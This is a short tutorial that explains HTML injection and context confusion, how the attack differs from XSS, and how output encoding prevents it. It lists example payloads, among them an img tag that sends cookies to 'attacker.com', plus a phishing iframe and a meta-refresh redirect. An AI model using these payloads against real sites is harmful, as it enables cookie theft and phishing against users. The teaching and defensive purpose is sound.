HTML Injection and Context Confusion
What you'll learn: How attackers inject markup without executing JavaScript, and why context matters more than code.
The Core Idea
HTML Injection occurs when an attacker can insert arbitrary HTML tags into a page without executing JavaScript. Unlike XSS (which aims to run scripts), HTML Injection manipulates the page's structure, appearance, or behavior through markup alone.
Context Confusion is the underlying vulnerability: when user data is embedded in a different parsing context than the application expects. The browser interprets the data as markup instructions rather than text content.
Why This Differs from XSS
XSS requires executing JavaScript (<script>, event handlers, etc.). HTML Injection succeeds even when script execution is completely blocked (like with a strict CSP). An attacker might inject:
<img src="attacker.com/steal?cookie=...">to exfiltrate data<iframe src="phishing.site">to overlay fake login forms<meta http-equiv="refresh" content="0;url=malicious.site">to redirect victims<style>tags to hide legitimate content or create fake UI elements
Attack Scenarios
Form hijacking: Inject a fake form that submits credentials to an attacker's server.
Visual defacement: Use CSS or positioned elements to alter what users see, tricking them into unintended actions.
Content injection: Add misleading text or links within trusted pages.
The danger lies in the context: if the application outputs user data inside an HTML attribute, tag body, or unescaped section, the browser's HTML parser treats special characters (<, >, ") as markup delimiters, not literal text.
Prevention Overlap
Many XSS defenses prevent HTML Injection too: output encoding, input sanitization, and proper context-aware escaping. The key difference is recognizing that even without JavaScript, malicious markup damages integrity and user trust.
Key Takeaway: HTML Injection exploits context confusion to manipulate page structure without JavaScript; preventing it requires encoding output for the correct parsing context, not just blocking scripts.